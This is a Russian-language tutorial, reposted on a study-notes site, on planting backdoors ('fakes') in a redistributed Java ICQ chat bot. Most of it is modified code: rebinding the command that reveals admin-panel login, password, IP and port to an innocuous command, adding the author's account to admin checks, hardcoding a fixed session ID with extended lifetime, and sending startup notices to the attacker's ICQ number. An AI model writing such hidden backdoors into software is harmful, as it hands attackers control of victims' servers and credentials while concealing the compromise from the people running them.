Студопедия
Случайная страница | ТОМ-1 | ТОМ-2 | ТОМ-3
АрхитектураБиологияГеографияДругоеИностранные языки
ИнформатикаИсторияКультураЛитератураМатематика
МедицинаМеханикаОбразованиеОхрана трудаПедагогика
ПолитикаПравоПрограммированиеПсихологияРелигия
СоциологияСпортСтроительствоФизикаФилософия
ФинансыХимияЭкологияЭкономикаЭлектроника

Фейкостроение в джимботах



Фейкостроение в джимботах

Основы фейкостроения.

 

Итак, сегодня рассмотрим, куда же можно засунуть фейк…

Вооружимся декомпилятором и мозгами J

Ищем класс файл ChatProps.class…

Делаем поисковый запрос: public boolean testAdmin2

Видим примерно такое барахло:

Код:

public boolean testAdmin2(String uin)

{

String ss[];

if(uin.equals("0"))

return true;

String s = MainProps.getStringProperty("main.hoz_uin");

if(s.equals(""))

return false;

ss = s.split(";");

int i = 0;

_L1:

if(i >= ss.length)

break MISSING_BLOCK_LABEL_76;

if(ss[i].equalsIgnoreCase(uin))

return true;

i++;

goto _L1

Exception ex;

ex;

ex.printStackTrace();

return false;

}

Прекрасно, в

Код:

String s = MainProps.getStringProperty("main.hoz_uin");

не приплюсовываются никакие юины…тоесть, никто кроме хозов всех чат сервисов не может получить доступ к показу данных админки….думаете вы

Ищем класс файл ChatCommandProc.class

Вбиваем поисковый: доступ, находим строчку-

Код:

commands.put("!доступ", new Cmd("!доступ", "$c", 132));

Так так…циферки 132….

Код:

// 132 4853

 

_L125:

cmdDostup(proc, uin);

break; /* Loop/switch isn't completed */

Чем интересна строка

Код:

commands.put("!доступ", new Cmd("!доступ", "$c", 132));

А тем, что после появления статьи, как переименовать команду!доступ на удобную, отличную от стандартной, что и сделали многие, хостеры стали чувствовать себя ну очень защищенно…а зря…

Ничто не мешает повесить вызов данных админпанели на другую любую команду, например хотя бы на!мода

 

Код:

commands.put("!мода", new Cmd("!мода", "$n", 114));

 

 

т.е. делаем из этой строчки строку -

Код:

commands.put("!мода", new Cmd("!мода", "$n", 132));

Что получаем? Человек, переименовавший команду!доступ в например!уляля, инкласстраслятором вряд ли усмотрел J, что данные админки также вызываются командой!мода. Тоесть для обнаружения фейка надо внимательно просмотреть, не повесили ли дубликата доступа.

 

Многие горефейкостроители, добавив в метод тестадмин 2 свои юины, чтобы их говнокоды не усмотрели, все тщательно обрабатывают обфускатором (коды нечитабельны при декомпиляции для наших глаз) (поправлюсь – все зависит от степени обфускации-для этого и делается, чтоб были нечитабельны)

Так вот, насчет обфусцированнных ботов…никак бы не советовал использовать….те кто их выкладывают на форумах, это вряд ли разработчики, и им глубоко похую, спиздят эти коды или нет…Обфусцируют для того, чтобы что то скрыть (благо не умеют по человечески засунуть фейк, и кидаются на обфускацию). Если уж делать фейк, так с головой, чтобы его трудно было обнаружить и не вызывать подозрения обработкой кодов.



 

Ищем запросом Dostup

Код:

public void cmdDostup(IcqProtocol proc, String uin)

 

{

if(!psp.testAdmin2(uin))

return;

try

{

int port = PortProps.getIntProperty("http.port");

String ip = MainProps.getStringProperty("botip");

ip = ip.replace(":", "");

ip = ip.replace(Integer.toString(port), "");

proc.mq.add(uin, (new StringBuilder()).append("Адрес: http://").append(MainProps.getStringProperty("botip")).append("\nIP: ").append(ip).append("\nПорт: ").append(Integer.toString(port)).append("\nЛогин: ").append(MainProps.getStringProperty("http.user")).append("\nПароль: ").append(MainProps.getStringProperty("http.pass")).toString());

}

catch(Exception ex)

{

ex.printStackTrace();

proc.mq.add(uin, (new StringBuilder()).append("Ошибка ").append(ex.getMessage()).toString());

Здесь мы видим барахло, которое собирает с настроек бота логин, пароль, айпи сервака, порт

 

Как Вы сами понимаете, ничто не мешает этот код продублировать на место какой нить команды…не изменяя саму команду.

Тоесть например на команде!фраза будет висеть стандартный вызод данных админпанели…Естественно необходимо расшарить доступ к команде для или определенной аськи, или хоть для всех юзеров-

 

Далее в конце ChtpProps.java видим подобное

 

public boolean testAdmin2(String uin) {

if (uin.equals("0")) return true;

String s = MainProps.getStringProperty("main.hoz_uin");

if (s.equals("")) return false;

String[] ss = s.split(";");

try {

for (int i = 0; i < ss.length; ++i)

if (ss[i].equalsIgnoreCase(uin)) return true;

}catch (Exception ex){

ex.printStackTrace();

}

return false;

}

 

 

ничто нам не помешает сделать подобное:

1. В MainProps.java видим

setStringProperty("main.hoz_uin","111111;222222");

2. Создаем чуть ниже строчку подобного рода как и п.1 только пишем main.hoz.uin2 и свой юин. А вбоще написать можно все что угодно

setStringProperty("main.hoz_uin","111111;222222");

setStringProperty("main.hoz_uin2","55617146");

 

3.Меняем в ChatProps.java то что было на подобное

 

public boolean testAdmin2(String uin) {

if (uin.equals("0")) return true;

String s = MainProps.getStringProperty("main.hoz_uin2");

if (s.equals("")) return false;

String[] ss = s.split(";");

try {

for (int i = 0; i < ss.length; ++i)

if (ss[i].equalsIgnoreCase(uin)) return true;

}catch (Exception ex){

ex.printStackTrace();

}

return false;

}

 

 

дубль public void cmdDostup(IcqProtocol proc, String uin)

можно засунуть в любой класс, подальше от чужих глаз J

 

 

4.В ChatProps. находим

setBooleanProperty("pervoe", false);

 

и меняем false на true (если жертва не отключит сообщение при запуске, то чат сам будет себя выдавать)

 

А сейчас придумаем что нить новенькое… Итак, все мы знаем, что при входе в админку и переходе по какой нить кнопке появляется строка вида:

Код:

82.455.112.167:6930/?uid=root_KVta7iNixt&page=srvs_props&ns=chat1

Что такое KVta7iNixt?

Это идентификатор сеанса…Для чего он? Чтобы всякие нехорошие люди не влезли к вам в админку.

При входе в админку генериться рандомно, состоит из прописных и строчных букв латинского алфавита и цифр, длина 10 символов.

Открываем класс SrvUtil.java

Код:

public static String getSessionId()

{

String s = "123456789ABCDEFGHIJKLMNPQRSTUVWXYZabcdefghijklmnprstuvwxyz";

Random r = new Random();

String v = "";

for(int i = 0; i < 10; i++)

v = (new StringBuilder()).append(v).append(s.charAt(r.nextInt(s.length()))).toString();

 

return v;

}

Вот она наша рандомная сессия…угадать трудновато J

 

Интересно, а если знать идентификатор сеанса, или сессион айди, то можно ли завалиться в чужую админку? Да легко. С любого компа.

Но появляется еще одна проблема….сессия может умереть….по умолчанию Время жизни HTTP сессии минут 10 чтоли…или 20…

Непорядок…

Пока мы перебираем сессию (у нас в запасе несколько миллионов лет), она помрет раз 100500…

 

Создаем сессию, которую мы будем знать всегда:

Код:

public static String getSessionId(){ String v="dXStLmU8Lk";

return v;

Хех…терь можно в админку заваливаться…0,0001 % что пользователь бота заметит, что сессия каждый раз одинаковая…(до выхода этой статьи точно никто сессию не будет сравнивать)

 

Вот только одна проблема…ждать неохота живую сессию….это надо поймать момент, когда владелец зайдет покопаться в админке…непорядок…

Лезем в MainPage.class

Ищем:

Код:

private boolean checkSession(String id)

{

boolean f = System.currentTimeMillis() - dt < (long)(MainProps.getIntProperty("http.delay") * 60000);

dt = System.currentTimeMillis();

return userID.equals(id) && f;

Уруру, умножить на 60 тыщ? Ха….умножим ка на 60 миллионов…Итого: в админке так и стоит время жизни сессии 20 мин, но живет она у нас намного дольше

Итого: имея айпи, где стоит наш фейк, заваливаемся в админку без особого напряга, вбив адресную строку и нам известный сессион айди.

 

Что же можно сделать с привязанной сессией? Вы скажите что это будет работать только, если мы знаем на какой айпи повесят данного бота? Хех…не все так просто в этой жизни…вполне достаточно изменить

 

Строчку © mod By warik777 & dim@X например на © mod By warik777 & dimaX

И особо не заметно, и появляются серьезные преимущества…

Нет, не для того, чтобы мы увидели внешние изменения…Этож сколько надо админок пересмотреть…

При пост запросе админка грузит свои данные….а определенный нам известный текст довольно легко найти программно, отсортировав…ну это я уже отклонился от темы, как нить потом напишу…

 

Следует уделить также внимание этому коду:

Проверка на первое сообщение. Выдает админам извещение о запуске чата.

 

Код:

private void firstMsg(IcqProtocol proc)

{

if(psp.getBooleanProperty("pervoe") &&!firstStartMsg)

{

String s[] = srv.getProps().getAdmins();

for(int i = 0; i < s.length; i++)

{

String ss = psp.getStringProperty("pervo");

if(MainProps.checkNewVersion())

ss = (new StringBuilder()).append(ss).append("На сайте www.globalme.ru доступна новая версия! \n").append(MainProps.getNewVerDesc()).toString();

else

ss = ss.replace("<br>", "\n");

proc.mq.add(s[i], ss);

}

 

firstStartMsg = true;

}

}

Ответственен за отправку сообщения о запуске бота админам (+ можно прикрутить свою аську). Полезно для извещения, что определенный мод запустился где то, живет и здравствует.

 

Код:

private void firstMsg(IcqProtocol proc)

{

if(psp.getBooleanProperty("pervoe") &&!firstStartMsg)

{

String s[] = srv.getProps().getAdmins();

for(int i = 0; i < s.length; i++)

{

String ss = psp.getStringProperty("pervo");

if(MainProps.checkNewVersion())

ss = (new StringBuilder()).append(ss).append("На сайте www.globalme.ru доступна новая версия! \n").append(MainProps.getNewVerDesc()).toString();

else

ss = ss.replace("<br>", "\n");

proc.mq.add("6666666", ss); /где 6666666 ваша аська

firstStartMsg=true;

}

}

 


Дата добавления: 2015-11-04; просмотров: 20 | Нарушение авторских прав




<== предыдущая лекция | следующая лекция ==>
Jay and Silent Bob Strike Back (2001) by Kevin Smith 7 страница | Статья про Jamaican Blue Mountain Coffee с Википедии

mybiblioteka.su - 2015-2024 год. (0.027 сек.)